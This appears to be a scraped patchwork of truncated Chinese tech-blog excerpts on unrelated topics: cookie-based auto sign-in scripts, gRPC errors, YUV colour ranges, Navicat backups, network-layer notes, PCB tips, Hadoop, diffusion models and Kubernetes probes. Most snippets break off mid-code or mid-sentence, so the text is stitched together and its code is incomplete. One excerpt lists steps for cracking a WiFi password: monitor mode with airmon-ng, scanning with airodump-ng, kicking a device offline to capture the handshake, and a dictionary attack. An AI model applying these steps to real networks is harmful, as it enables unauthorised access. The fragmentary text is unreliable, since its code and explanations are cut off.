现在很多网站都可以通过签到来获取积分,然后拿积分去兑换小礼品。每天手动签到难免有忘记的时候,下面就给大家介绍几种常见的自动化签到方案。
自动化签到的三种方式 Python/C#/Java等语言拿到页面cookie或者token去请求对应的接口pyppeteer/selenium 操作浏览器模拟dom点击浏览器插件方式实现 方案一 使用拿到cookie/token方式签到 这种方式需要提前获取页面cookie/token然后进行签到,电脑端可以使用F12查看,但是手机端页面没有F12就无法通过这种方式获取了,当然手机端页面可以使用Fiddler来抓取cookie/token。
data = {"xxx": "xxxx"} cookie = 'xxxxxxx' url = "xxxx" def post(url, data={}, cookie=""): cookie_json = {} if cookie != "": for c in cookie.split(";"): str = c.split("=") cookie_json[str[0]] = str[1] r = requests.post(url, cookies=cookie_json, json=data, headers=headers) if r.status_code == 200: return json.loads(r.content) return False if post(url, data=data, cookie=cookie) 这种方案使用腾讯云函数,再配合定时执行,是真的香。
方案二 操作浏览器模拟dom点击 这种方式需要你在浏览器中登录一次,让浏览器记住你的cookie/token,然后通过自动化操作去模拟DOM点击事件,从而完成签到任务
import asyncio from pyppeteer import launch async def main(): browser = await launch( headless=False, ignoreDefaultArgs=["
传送门:
Go微服务(三)——gRPC详细入门_小象裤衩的博客-CSDN博客
对原文的一些补充: 1. gRPC中的错误处理 一般接口都会定义统一的错误返回格式,如果在proto文件中的每个message消息体内硬是增加一个错误消息结构,十分的不优雅,go 的 grpc 包提供了一个 status 功能,可以通过metadata(下面再介绍metadata)在header中返回给客户端,这样就不用修改每个接口的message消息体了
常规用法:
调用 status.New 方法,并传入一个适当的错误码,生成一个 status.Status 对象调用该 status.Err 方法生成一个能被调用方识别的error,然后返回 st := status.New(codes.NotFound, "some description") err := st.Err() // 等同于 status.Error(codes.NotFound, "some description") 进阶用法:
status.New只能声明一个错误code(还不能自定义)以及一段msg文本,如果需要更丰富的报错,则需要使用 WithDetails 功能自定义错误结构体
服务端示例: // 生成一个 status.Status st := status.New(codes.ResourceExhausted, "Request limit exceeded.") // 填充错误的补充信息 WithDetails ds, err := st.WithDetails( &pb.CustomError{ // CustomError 需要在对应的 proto 文件中定义成 message xxx: "xxx", xxx: "xxx", ...... }, ) if err !
Linux里可以创建软链接,如同Windows系统的快捷方式。如图:
Linux里创建软链接的语法:
ln -s 源文件 链接目录
ln -s /app/tomcat_file/uploadfiles uploadfiles
创建链接目录后,如图所示:
在一个SpringBoot项目里,如果把下载的文件存到 /usr/local/tomcat/webapps/ROOT/WEB-INF/uploadfiles里,这时若下载该链接目录里的文件时,可能会找不到文件。
针对不同的情况,有下述两种解决方式:
1.在下载的Controller里,进行下述处理:
package cn.lzy; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMethod; import javax.servlet.ServletOutputStream; import javax.servlet.http.HttpServletResponse; import java.io.*; import java.net.URLDecoder; import java.nio.file.FileSystems; import java.nio.file.Files; import java.nio.file.Path; import java.nio.file.Paths; @Controller @RequestMapping("/attachment/accept") public class AttachmentDownloadController extends CommonAttachmentController { @Autowired private ICommonAttachmentService commonAttachmentService; @RequestMapping(value = "/downloadByAttachmentId.action", method = {RequestMethod.POST, RequestMethod.GET}) public void downloadByIdDo(HttpServletResponse response, String id) throws IOException { ServletOutputStream out = null; try { CommonAttachment attachment = new CommonAttachment(); attachment.
1. YUV的原理 YUV 的原理是把亮度(Luma)与色度(Chroma)分离。 “Y”表示亮度,也就是灰度值。 “U”表示蓝色通道与亮度的差值。 “V”表示红色通道与亮度的差值。
其中 Y 信号分量除了表示亮度信号外,还含有较多的绿色通道量,单纯的 Y 分量可以显示出完整的黑白图像。 U、V 分量分别表示蓝 (blue)、红 (red) 分量信号,只含有色度信息,所以 YUV 也称为 YCbCr,其中,Cb、Cr的含义等同于U、V,C 可以理解为 component 或者 color。
RGB 转 YUV 的公式能更好地反应 YUV 与 RGB 的关系,以及为什么称为 YCbCr:
yuv1.png
RGB与YUV的变换公式如下:
yuv_rgb.jpg
在RGB色彩空间中,三个颜色的重要程度相同,所以需要使用相同的分辨率进行存储,最多使用RGB565这样的形式减少量化的精度,但数据量还是很大的。
研究发现人眼对亮度的敏感超过色度。将图像的亮度信息和颜色信息分离,并使用不同的分辨率进行存储,这样在对主观感觉影响很小的前提下,可以更加有效地存储图像数据。
2. YUV的取值范围 与RGB每个像素点的每个分量取值范围为0-255不同(每个分量占8bit),YUV取值范围有两种:
以Rec.601为代表(还包括BT.709 / BT.2020)的广播电视标准中,Y的取值范围是16-235,U、V的取值范围是16-240。FFmpeg中称之为“mpeg”范围。
以JPEG为代表的标准中,Y、U、V的取值范围都是0-255。FFmpeg中称之为“jpeg” 范围。
实际中最常见的是第1种取值范围的YUV(可以自己观察一下YUV的数据,会发现其中亮度分量没有取值为0、255这样的数值)。很多人在这个地方会有疑惑,为什么会去掉“两边”的取值呢?
原因:
在广播电视系统中不传输很低和很高的数值,实际上是为了防止信号变动造成过载,因而把这“两边”的数值作为“保护带”[4]。
下面这张图是数字电视中亮度信号量化后的电平分配图。从图中可以看出。
对于8bit量化来说,信号的白电平为235,对应模拟电平为700mV。
黑电平为16,对应模拟电平为0mV。
信号上方的“保护带”取值范围是236至254,而信号下方的“保护带”取值范围是1-15。
最边缘的0和255两个电平是保护电平,是不允许出现在数据流中的。
与之类似,10bit量化的时候,白电平是2354=940,黑电平是164=64。
文末名片免费领取音视频开发学习资料,内容包括(C/C++,Linux 服务器开发,FFmpeg ,webRTC ,rtmp ,hls ,rtsp ,ffplay ,srs)以及音视频学习路线图等等。
quantization_yuv.jpg
下面两张图是数字电视中色度信号量化后的电平分配图。可以看出:
色度最大正电平为240,对应模拟电平为+350mV。
色度最大负电平为16,对应模拟电平为-350mV。
需要注意的是,色度信号数字电平128对应的模拟电平是0mV。
quantization_2.jpg
什么是函数式接口 仅有一个抽象方法,可以拥有多个非抽象方法的的接口。
为什么java8有函数式接口 首先,我们需要明白函数是什么,在数学中函数通俗的意思就是由自变量和因变量所确定的一种关系。而在计算机中,函数则是是一个固定的一个程序段,它在可以实现固定运算功能,并且提供入参和结果出参(入参和出参非必须),可以通俗的理解为Java中的方法。
public int sum(int a, int b){ return a + b; } 复制代码 在java这个面向对象的语言里,什么都可以被当作一个对象来描述,甚至是一个简单的用户名username,在需要的适合也可以封装成一个UserName对象,拥有自己的构造方法和逻辑方法,甚至可以在构造方法中完成构造我(UserName)需要的参数以及校验(例如"我"不能包含敏感字符)。
那么对于一个函数(方法)也不例外,它也可以被描述成一个对象
public class Sum{ public int sum(int a, int b){ return a + b; } } 复制代码 在函数的基础上,为了多态扩展,函数会当作函数式接口来做不同实现
public interface Sum{ /** * 外部自己实现不同的sum逻辑 * / int sum(int a, int b); } 复制代码 一般情况下,接口实现都是通过创建一个类文件,并implements接口的方式来实现的,而这种方式在函数过多的情况下,如果都去实现一遍,往往会造成存在大量的类,造成管理上的混乱和使用上的不便。
所以在java8之前,Java的做法是接口的匿名实现,在代码中快速实现一个接口的匿名(临时的实现变量,没用具体继承自接口的类)实现。
例如我们在创建线程Thread时常用的参数 Runnable接口,在Thread构造方法中,有一个参数 Runnable , 这个Runnable赋值给了Thread的一个成员变量,最终在调用Thread的run方法时(也可以通过start()方法,但是start()方法是调用了native方法去启动的)方法时,run()里调用了runnable的run方法。
源码示例,具体源码可以自行阅读Thread源码:
使用方法:
public void testTheadRunnable() { new Thread(new Runnable() { @Override public void run() { System.
一:使用Navicat备份数据表 1.运行Navicat并链接数据库
2.选择需要备份的数据表,鼠标右键弹出菜单选择"转储SQL文件"–>“结构和数据”,点击"下一步"按钮。
3.选择保存备份的目录和文件名。点击"保存"按钮。
4.显示"Finished successfully"信息表示备份成功,点击"关闭"按钮,完成备份。
5.使用记事本打开备份数据表的SQL脚本文件,可见包含数据表的创建语句,数据表的插入语句,其他语句,备份信息等。
二:使用Navicat恢复数据表 模拟误删除world数据库的city表,使用之前的备份进行恢复
1.运行Navicat并链接数据库
2.双击要恢复的world数据库,先删除city数据表,然后右键选择"运行sql文件"
3.选择之前备份的sql脚本文件。点击"开始"按钮
4.显示"Finished successfully"信息表示恢复成功。
5.重新刷新或关闭再打开world数据库即可看到恢复成功的city数据表。
三:使用Navicat备份数据表结构 1.运行Navicat并链接数据库
2.选择需要备份的数据表,鼠标右键弹出菜单选择"转储SQL文件"–>“仅结构”,点击"下一步"按钮。
3.选择保存备份的目录和文件名。点击"保存"按钮。
4.显示"Finished successfully"信息表示备份成功,点击"关闭"按钮,完成备份。
5.使用记事本打开备份数据表的SQL脚本文件,可见仅包含数据表的创建语句,没有数据表的插入语句。
四:使用Navicat恢复数据表结构 1.运行Navicat并链接数据库
2.双击要恢复的world数据库,然后右键选择"运行sql文件"
3.选择之前备份的sql脚本文件。点击"开始"按钮
4.显示"Finished successfully"信息表示备份成功,点击"关闭"按钮,完成表结构恢复。
5.重新刷新或关闭再打开world数据库即可看到恢复成功的city数据表,双击city数据表,显示一个空的数据库。
(一)基本概念 数据链路层是OSI参考模型中的第二层,介乎于物理层和网络层之间。数据链路层在物理层提供的服务的基础上向网络层提供服务,其最基本的服务是将源自物理层来的数据可靠地传输到相邻节点的目标机网络层。
换言之,数据链路层负责通过一条链路从一个节点向另一个物理链路直接相连的相邻结点传送数据报。
相关术语
链路层数据分组:帧,封装网络层数据报。
结点:主机和路由器
链路:网络中两个结点之间的物理通道,链路的传输介质主要有双绞线,光纤和微波。分为有线链路、无线链路。
数据链路:网络中两个结点之间逻辑通道,把实现控制数据传输协议的硬件和软件加到链路上就构成数据链路。
帧:链路层的协议数据单元,封装网络数据报。
帧定界:当两个主机互相传送信息时,网络层的分组必须封装成帧,并以帧的格式进行传送。将一段数据的前后分别添加首部和尾部,就构成了帧。首部和尾部中含有很多控制信息,这些信息的重要作用之一是确定帧的界限,即帧定界。
数据链路层负责通过一条链路从一个结点向另一个物理链路直接相连的相邻结点传送数据报
注:口诀:放流量,帧传错。 理解成放入流量进来,白变黑(真传错)
(二)功能概述 数据链路层在物理层提供服务的基础上向网络层提供服务,其最基本的服务是将源自网络层来的数据可靠地传输到相邻节点的目标机网络层,其主要作用是加强物理层传输原始比特流功能,将物理层提供的可能出错的物理连接改造成为逻辑上无差错的数据链路,使之对网络层表现为一条无差错的链路。
功能一:为网络提供服务:无确定无连接服务,有确定无连接服务,有确定面向连接服务。
注意:有连接一定有确认!!!,因为对方主机必须确认才可建立连接,即不存在无确认的有连接服务。
功能二:链路管理,即连接的建立、维持、释放(用于面向连接的服务)
功能三:组帧,封装数据报构成数据帧,加首部和尾部;帧同步。
功能四:流量控制
功能五:差错控制(帧错/位错)
或者理解成:
数据链路层在物理层所提供服务的基础上向网络层提供服务,即将原始的、有差错的物理线路改进成逻辑上无差错的数据链路,从而向网络层提供高质量的服务。它一般包括3种基本服务:无确认的无连接服务、有确认的无连接服务和有确认的有连接服务 具体地说,数据链路层的主要功能如下:
成帧(封装成帧):定义帧的开始和结束。
帧同步:接收方确定收到的比特流中一帧的开始位置与结束位置。
差错控制:用于使接收方确定接收到的数据就是由发送方发送的数据。
流量控制:较高的发送速度和较低的接收能力的不匹配,会造成传输出错。
数据链路层的流量控制是点对点的,而传输层的流量控制是端到端的。
数据链路层流量控制手段:接收方收不下就不回复确认。
传输层流量控制手段:接收端给发送端一个窗口公告。
透明传输:假设透明传输区间里出现了比特组合 与帧定界符相同,岂不是会被误认为是传输结束而丢弃后面的数据?显然,这样的情况是绝对不允许发生的,就发明了透明传输来解决此问题。其实,透明传输就是不管数据是什么样的比特组合,都应当能在链路上传送。 链路管理:负责数据链路的建立、维持和释放,主要用于面向连接的服务。
(三)封装成帧 Ⅰ 封装成帧就是在一段数据的前后部分添加首部和尾部,这样就构成了一个帧。接收端在收到物理层上交的比特流后,就能根据首部和尾部的标记,从收到的比特流中识别帧的开始和结束。
首部和尾部包含许多的控制信息,他们的一个重要作用:帧定界(确定帧的界限)。
帧同步:接收方应当能从接收到的二进制比特流中区分出帧的起始和终止。
组帧的四种方法:1.字符计数法,2.字符(节)填充法,3.零比特填充法,4.违规编码法。
Ⅱ 透明传输是指不管所传数据是什么样的比特组合,都应当能够在链路上传送。 当所传数据中的比特组合恰巧与某一个控制信息完全一样时,就必须采取适当的措施,使接收方不会将这样的数据误认为是某种控制信息。这样才能保证数据链路层的传输是透明的。
1.字符计数法:
2.字符(节)填充法:
注意:字符SOH代表 Start of Header (首部开始),而EOT代表 End of Transmission(传输结束)。SOH和EOT 都是ASCII码中的控制字符。SOH的十六进制编码是01,而EOT的十六进制编码是04。不要误认为SOH是“S”“O”“H”3个字符,也不要误认为EOT 是“E”“O”“T”3个字符。
3 .零比特填充法:
4. 违规编码法(利用物理介质上编码的违法标志来区分帧的开始与结束):
由于字节计数法中Count字段的脆弱性(其值若有差错将导致灾难性后果)以及字符填充法难以实现复杂性和不兼容性,目前较普遍使用的帧同步法是比特填充和违规码法。
注意:在使用字节填充的首尾界符法时,并不是所有形式的帧都需要帧开始符和帧结束符,如 MAC 帧就不需要帧结束符。因为以太网在传送帧时,各帧之间还必须有一定的间隙,所以,接收端只要找到帧开始定界符,其后面的连续到达的比特流就都属于同一个MAC帧,可见以太网不需要使用帧结束定界符,也不需要使用字节插入来保证透明传输。
PPP帧用来进行帧定界的字段为Ox7E。“1B”是谢希仁教材中对于普通帧透明传输的处理,即转义字符“ESC”的十六进制编码。
注意:“无比特差错”与“无传输差错”是不同的 可靠传输:数据链路层的发送端发送什么,在接收端就收到什么。
传输差错可分为两大类: 比特差错; 传输差错:帧丢失、帧重复或帧失序等。
文档声明:
以下资料均属于本人在学习过程中产出的学习笔记,如果错误或者遗漏之处,请多多指正。并且该文档在后期会随着学习的深入不断补充完善。感谢各位的参考查看。
笔记资料仅供学习交流使用,转载请标明出处,谢谢配合。
如果存在相关知识点的遗漏,可以在评论区留言,看到后将在第一时间更新。
作者:Aliven888
操作描述:
本地交叉编译环境中编译好的 ARM64 程序烧录到板子中执行,出现了如下错误。
报错描述:
(gdb) bt #0 0x0000007fbf35614c in ?? () from /lib/libc.so.6 #1 0x0000007fbf61ddec in std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::operator=(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&&) () from /usr/lib/libstdc++.so.6 #2 0x000000000040649c in s2s::SamplePlugin::DealPlgunData (this=0x42d030) at /data/Integration/3J3/autodrive-s2s-sdk/sample/src/sample_plugin.cpp:146 #3 0x0000000000406090 in s2s::SamplePlugin::Run (this=0x42d030) at /data/Integration/3J3/autodrive-s2s-sdk/sample/src/sample_plugin.cpp:86 #4 0x00000000004023f8 in main (argc=1, argv=0x7ffffffc28) at /data/Integration/3J3/autodrive-s2s-sdk/sample/src/main.cpp:70 #include <stdio.h> #include <string> class Base { public: Base() {} ~Base() // 正确写法: //std::string const GetType() noexcept { //错误写法: std::string GetType() const noexcept { return type_; } private: std::string type_; }; struct stu_Data { std::string type; std::string name; }; int mian(int argc, char* argv[]) { Base base; stu_Data stu; memset(&stu, '\0', sizeof(stu_Data)); stu.
目录
ad linear dimension 调整方向
Altium Designer--PCB中快速切换单位
使用AD更改PCB板子尺寸
ALTIUM20 PCB界面无法选中元器件及其解决方法
AD17-PCB板框的绘制出现的问题及方法
AD20生成Gerber文件
AltiumDesigner20 设置铺铜改变之后自动重新铺铜方法
ad元件库中常用元件
AD----如何将立创EDA元器件封装库导入AD库
金手指斜边设计注意事项
生产稿文件打开工具CAM350和genesis2000都可以
ad linear dimension 调整方向 ----选中标尺,左键按住不放,按空格键就可以调节方向了
Altium Designer--PCB中快速切换单位 --按键盘Q可以快速进行mil和mm切换
使用AD更改PCB板子尺寸 使用原理图生成PCB后,Altium Designer会自动生成一块黑色区域,还有一个在禁止布线层的方框,还有两段标注板子大小的线。下面说一下如何更改黑色区域的大小,还有如何精确确定板子尺寸,比如使其为长宽都为整数。
1. 调整 PCB板的大小
方法一:
Design --- Board Shape --- Redefine Board Shape(快捷键D-S-R),对于方形,依次画好4个点,然后右键退出操作。没有画成想要的形状之前不要点击右键。
方法二:
(1)在PCB页面用Keep-Out Layer画出所需板子的大小形状,注意必须是封闭的形状。
(2)选中画出的这些封闭的框框。(一次不能全部选中的话可以按住Shift依次选中线条)
(3)Design --- Board Shape --- Define from selected objects,这样就画好了任意复杂形状的PCB。
2. 精确确定板子尺寸
首先设置自动捕捉到目标热点:空白处右键-Options-Board Options,右下角选中Snap To Object Hotpots。这样能保证禁止布线层的线能完整构成一个方框,也能让测量线能准确测量。
(1)首先使得禁止布线层的线能完整构成一个方框,拐角处如下图所示,两条线的端点要完全一致。
(2)将测量线的一端与这个端点完全重合,保证测量完全准确。由于设置了捕捉到目标热点,这个很容易做到,见下图。
(3)根据想要的尺寸调整布线层的方框,同时也要移动测量线。其实双击布线层的一条线,在最初的位置上加上一定的数值,就可以一步到位了。调好一个方向后可以锁定这条线,双击后,选择lock,这样就不容易误移动了。再调整另一个方向即可。
(4)快捷键D-S-R,调整 PCB板的大小即可,现在定义PSB板形状的四个脚就会很容易的对准禁止布线层的四个角了。
ALTIUM20 PCB界面无法选中元器件及其解决方法 原文链接:https://blog.csdn.net/PANJUN1229/article/details/107515488
OffsetDateTime使用 java.time.OffsetDateTime 构造器 话不多说直接看源码
OffsetDateTime构造器,是一个私有的方法,通过构造器可以看出OffsetDateTime对象是由两部分组成:1、LocalDateTime 2、ZoneOffset
也就是时间和时区偏移量两部分组成,也说明不能通过new创建
private OffsetDateTime(LocalDateTime dateTime, ZoneOffset offset) { this.dateTime = Objects.requireNonNull(dateTime, "dateTime"); this.offset = Objects.requireNonNull(offset, "offset"); } 静态方法 now() 使用系统默认的时钟获取时间和时区返回对象
使用
OffsetDateTime now = OffsetDateTime.now(); now(ZoneId zone) 从指定时区获取系统时间,返回对象
参数需要传入一个时区id,这个ZoneId 到底是什么?有哪些时区id?
打印可用的时区id
Set<String> availableZoneIds = ZoneId.getAvailableZoneIds(); System.out.println("可用时区数量:" + availableZoneIds.size()); availableZoneIds.forEach(ZoneId -> System.out.println(ZoneId)); 可以看到可用时区数量:599
使用
ZoneId zoneId = ZoneId.of("Asia/Aden"); OffsetDateTime now = OffsetDateTime.now(zoneId); now(Clock clock) 从指定时钟获取对象
Clock和ZoneId一样包含时区id
使用
ZoneId zoneId = ZoneId.of("Asia/Aden"); Clock colck01 = Clock.system(zoneId); Clock clock02 = Clock.
文章目录 第1关:vi/vim基本用法特别提醒 第2关:vi/vim工作模式切换第3关:vi/vim命令模式第4关:vi/vim底线命令模式 第1关:vi/vim基本用法 rm -fr /root/oldFile > /dev/null 2>&1 rm -fr /root/.oldFile > /dev/null 2>&1 echo "welcome to Vi/Vim"> /root/oldFile && echo "welcome to Vi/Vim"> /root/.oldFile vi oldFile #按下shift + ; #特别提醒,如果按下shift + :无效,可以先按下esc键,再按shift + : #输入 wq 回车,保存退出 特别提醒 特别提醒,如果按下shift + :无效,可以先按下esc键,再按shift + :
当弹出:时,则成功
第2关:vi/vim工作模式切换 vi newFile #进入vi编辑器后按‘i’插入字符,输入welcome to vi/vim #按下shift + ; #输入 wq 回车,保存退出 第3关:vi/vim命令模式 rm -fr /root/file.txt > /dev/null 2>&1 echo "first" >> /root/file.
Microsoft Windows [版本 10.0.19044.2251]
© Microsoft Corporation。保留所有权利。
C:\Users\ThinkStation>conda activate pytorch (pytorch) C:\Users\ThinkStation>conda install ipykernel Collecting package metadata (current_repodata.json): done
Solving environment: failed with initial frozen solve. Retrying with flexible solve.
Solving environment: failed with repodata from current_repodata.json, will retry with next repodata source.
Collecting package metadata (repodata.json): done
Solving environment: done
Package Plan
environment location: D:\Users\ThinkStation\anaconda3\envs\pytorch
added / updated specs:
ipykernel The following packages will be downloaded:
packagebuildbackcall-0.2.0pyhd3eb1b0_0 13 KBcolorama-0.
hive常用需求分析 1. hive中划分年龄段函数用法2. 求连续登录的活跃用户 会一直更新 值得收藏
1. hive中划分年龄段函数用法 第一种 case when
case when age >= 0 and age <= 10 then '0-10' when age > 10 and age <= 20 then '10-20' when age > 20 and age <= 30 then '20-30' when age > 30 and age <= 40 then '30-40' when age > 40 and age <= 50 then '40-50' when age > 50 and age <= 60 then '50-60' when age > 60 and age <= 70 then '60-70' end age_phase 第二种 数学函数拼接
Hadoop入门 第一章 大数据概述 1.1 大数据概念 “人类正在从IT时代走向DT时代”。
大数据(Big Data):指的是传统数据处理应用软件不足以处理(存储和计算)它们的大而复杂的数据集。
主要解决,海量数据的存储和海量数据的运算问题。
1.2 大数据特征 容量大,种类多,速度快,价值高
1、容量(Volume):数据的大小决定所考虑的数据的价值和潜在的信息
微博,5 亿用户,每天上亿条微博
朋友圈,10亿用户,每天亿级别朋友圈
2、种类(Variety):数据类型的多样性,包括文本,图片,视频,音频
结构化数据:可以用二维数据库表来抽象,抽取数据规律
半结构化数据:介于结构化和非结构化之间,主要指 XML,HTML 等,也可称非结构化
非结构化数据:不可用二维表抽象,比如图片,图像,音频,视频等
3、速度(Velocity):指获得数据的速度以及处理数据的速度
数据的产生呈指数式爆炸式增长
处理数据要求的延时越来越低
4、价值(Value):合理运用大数据,以低成本创造高价值
综合价值大,隐含价值大
单条数据记录无价值,无用数据多
1.3 大数据应用场景 1、物流
2、零售
3、旅游
4、商业推荐
5、“新基建”
1.4 大数据部门的一般业务流程 1.5 大数据部门的一般组织架构 第二章 Hadoop及大数据生态圈 2.1 Hadoop产生背景 1、Hadoop 最早起源于Nutch。Nutch的设计目标是构建一个大型的全网搜索引擎,包括网页抓取、索引、查询等功能,但随着抓取网页数量的增加,遇到了严重的可扩展性问题 ——如何解决数十亿网页的存储和索引问题
Doug Cutting Lucene
2、2003 -2004年谷歌发表的三篇论文为该问题提供了可行的解决方案
- 1、分布式文件系统 GFS,可用于处理海量网页的存储
GFS HDFS
- 2、分布式计算框架 MapReduce,可用于处理海量网页的索引计算问题
MapReduce MapReduce
- 3、分布式数据库 BigTable,每一张表可以存储上 billions 行和 millions 列
import jieba import wordcloud import matplotlib.pyplot as plt file = open('二十大报告全文.txt', encoding='utf-8') str = file.read() file.close() removes = ['和','的'] str_list = jieba.lcut(str) text = ' '.join(str_list) cloud = wordcloud.WordCloud(font_path='simhei', stopwords=removes, background_color='pink').generate(text) plt.imshow(cloud) plt.axis('off') plt.savefig('复习词云.jpg')
系列文章目录 文章目录 系列文章目录AI绘画GAN前言一、生成网络与判别网络的协同进化1、生成器与判别器的学习趋向2、部分算法理念 Diffusion 前言一、Diffusion前向过程二、Diffusion反向过程 AI绘画 AI绘画,目前AI领域里最有话题性的技术,上一个这么火的话题是swin transformer网络,而2022年8月Jason Allen凭借AI绘画作品《太空歌剧院》拿下科罗拉多州博览会美术竞赛一等奖,瞬间引爆社会争论。后来10月19日,Jasper.ai 宣布完成了 1.25 亿美元的A 轮融资,估值达到了 15 亿美金,而 Jasper AI 从产品上线到现在也就 18 个月时间。
但是这里就不谈论它的社会层面与资本层面,而是从技术层面出发,了解一下他背后的技术变化与简单原理。
对于AI和画,我最开始接触的是图片漫转,像什么风景动漫化,人物动漫化、生成人物年幼年老照片。其实自2014年诞生以来,GAN的发展非常迅速,最初的GAN难以生成高质量的图像,而现在的GAN已经可以这些模型从生成模糊的人脸到具有不同约束的高清逼真图片。
2018 年,大型半导体公司 NVIDIA 的研究团队发布了“StyleGAN”,作为 GAN 的应用,它在图像生成领域产生了巨大影响。StyleGAN 生成的人像精度高到与真人无异,引起了广泛关注。StyleGAN 此后发布了性能改进版本,例如 StyleGAN2、StyleGAN2-ADA 和 StyleGAN3。
但是随着Diffusion Model的出现似乎一切都变了,在2021年它甚至可以说混在小众没有破圈,在2022年它却大红大紫引领风潮。
其中的代表人物Stable Diffusion 的文本到图像更是横空出世, 将无过滤图像生成的门槛下放到历史最低——文本生成图像、图像+文本生成图像以及补全图像中的某个部分(例如把猫换成一只狗),就能得到相应的图像结果。它一边被 AI 艺术界所称道,另一边则被传统艺术家激烈批评;
关键词:Withered vines, old trees, crows(枯藤老树昏鸦,只能理解英文)
尝试网址1:https://replicate.com/stability-ai/stable-diffusion
尝试网址2:https://huggingface.co/spaces/stabilityai/stable-diffusion
现实风格
水墨画风格
去Hugging Face等网站体验了一番,能够感觉得到它能明白并融入部分关键词元素,不得不说确实是很强很新奇,不论是真实程度亦或是想象、理解能力,都是比较符合人类的想象。
2021年Diffusion Models Beat GANs on Image Synthesis在NeurIPS 2021上发表,认为Diffusion模型可以实现优于当前最先进的生成模型的图像样本质量。
对于GAN和Diffusion Model,选择哪一个进行图像合成或者说图像合成谁才是最出色的模型,这就成为了一个争论,甚至业界大佬都有所评论
它们都在图像、视频和语音生成领域得到了广泛应用,引发了关于哪种方法能产生更好结果的争论——扩散模型还是 GAN。
也有人对diffusion model 和 GAN 的有别的思考:GAN 能更灵活处理不同任务,应用层面部署比较容易,需要的资源小,不过学术上竞争激烈,有时生成的样本质量比较一般。且GAN在对抗训练过程中会出现模式崩塌和训练不稳定的问题,VAE则严重依赖于目标损失函数,流模型则必须使用专门的框架来构建可逆变换等问题。
1、断开网络连接
2、sudo -i进入root模式
3、ifconfig查看当前网卡信息
4、airmon-ng检查网卡是否带有监听功能
5、airmon-ng start wlan0mon打开监听功能
6、airodump-ng wlan0mon扫描当前附近wifi, 看到想要破解的目标后control+c停止,看到三行重要的信息,一个bssid, 一个ch(频段), 还有一个wifi名子
7、开始抓包,以下用nizhiwei这个wifi进行演示输入以下命令开始抓包
8、运行后结果,这样抓包比较慢,我们新打开一个命令行,将某个设备踢下线。在他重新连接的时候进行抓包
9、出现这个就是成功抓到握手包了,就是生成的.cap文件
10、使用字典破解
使用 joern-parse 在桌面生成 cpg.bin 文件
cd C:\Users\admin\Desktop joern-parse C:\Users\admin\Desktop\project 编辑 test.sc 脚本,功能为:导入 cpg 文件、输出所有方法名
import io.shiftleft.semanticcpg.language._ @main def exec(cpgFile: String) = { importCpg(cpgFile) cpg.method.name.l } 使用 joern 运行,从命令行接收 exec 函数的参数
windows: joern --script C:\Users\admin\Desktop\test.sc --params "cpgFile=cpg.bin" linux: ./joern --script /opt/test.sc --params cpgFile=cpg.bin
vxworks符号表,又称内核符号表(kernel symbol table),其中存储了程序中各个模块的函数、变量和常量信息(还包括shell创建的变量)。符号表包括两种类型,系统符号表和用户符号表。
系统符号表:
系统符号表包含所有全局符号的名字和地址。它在下面4个功能中会用到:
1. Kernel Object-Module Loader(动态加载对象文件到内核)
2. Debugging Facilities(调试功能)
3. Kernel Shell(内核shell)
4. WDB Target Agent(WDB工具)
系统符号表有两种类型,包括build-in符号表和分离符号表。
build-in符号表:
build-in符号表会将符号信息复制成代码,然后共同编译链接生成镜像。
1. makeSymTbl.tcl工具生成符号信息,并复制在symTbl.c文件的standTbl 数组中,具体内容如下。
SYMBOL standTbl [92569] =
{
{{NULL}, "ACCESS_ID_TaskID", (char*) &ACCESS_ID_TaskID, 0, 0, SYM_GLOBAL | SYM_DATA},
{{NULL}, "ACCESS_Id_Cli_Init", (char*) ACCESS_Id_Cli_Init, 0, 0, SYM_GLOBAL | SYM_TEXT},
{{NULL}, "ACCESS_id_CommandInstall", (char*) ACCESS_id_CommandInstall, 0, 0, SYM_GLOBAL | SYM_TEXT},
......
{{NULL}, "zsend_ipv6_delete_multipath", (char*) zsend_ipv6_delete_multipath, 0, 0, SYM_GLOBAL | SYM_TEXT},
{{NULL}, "zstrdup", (char*) zstrdup, 0, 0, SYM_GLOBAL | SYM_TEXT},
微信小程序自动更新 app.jsautoUpdate app.js // 小程序启动之后 触发(小程序初始化完成时(全局只触发一次))
onLaunch: function () {
this.autoUpdate()
},
autoUpdate autoUpdate: function() {
var self = this
// 获取小程序更新机制兼容
if (wx.canIUse(‘getUpdateManager’)) {
const updateManager = wx.getUpdateManager()
//1. 检查小程序是否有新版本发布
updateManager.onCheckForUpdate(function(res) {
// 请求完新版本信息的回调
if (res.hasUpdate) {
//检测到新版本,需要更新,给出提示
wx.showModal({
title: ‘更新提示’,
content: ‘检测到新版本,是否下载新版本并重启小程序?’,
success: function(res) {
if (res.confirm) {
//2. 用户确定下载更新小程序,小程序下载及更新静默进行
self.downLoadAndUpdate(updateManager)
} else if (res.cancel) {
//用户点击取消按钮的处理,如果需要强制更新,则给出二次弹窗,如果不需要,则这里的代码都可以删掉了
wx.showModal({
title: ‘温馨提示~’,
content: ‘本次版本更新涉及到新的功能添加,旧版本无法正常访问的哦~’,
showCancel:false,//隐藏取消按钮
confirmText:“确定更新”,//只保留确定更新按钮
success: function(res) {
生产环境下,对应用运行的状态需要进行健康检查。本文提供了一种健康检查集成方法。用于检查Kubernetes环境下SpringBoot应用程序运行状态。
一、目标 应用部署到K8S环境下,通过K8S的健康检查探针,对SpringBoot应用进行运行健康监控。
二、实施步骤 2.1 SpringBoot应用程序关键配置 考虑到SpringBoot本身已经提供了一组健康指标器可以去使用,通过引入下述依赖就可以获取观察到程序的运行状态。
2.1.1 集成应用监控依赖 <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-actuator</artifactId> </dependency> 2.1.2 Actuator中应用就绪和存活探针配置 在SpringBoot版本大于2.3时,可以通过以下配置开启应用探针功能:
management: server: port: 9000 health: readinessstate: enabled: true livenessstate: enabled: true 2.2 Kubernetes 健康检查配置 2.2.1 就绪检查探针配置 initialDelaySeconds:初始延迟,在检查其运行状况之前,容器启动后需要等待多长时间
httpGet:使用Http请求的方式进行检查,k8s也支持TCP连接和命令行。
periodSeconds:执行探测频率(秒),执行探测的频率(以秒为单位)。默认为10秒。最小值为1
timeoutSeconds:超时时间(秒),等待探针完成多长时间。如果超过时间,则认为探测失败。默认为1秒。最小值为1
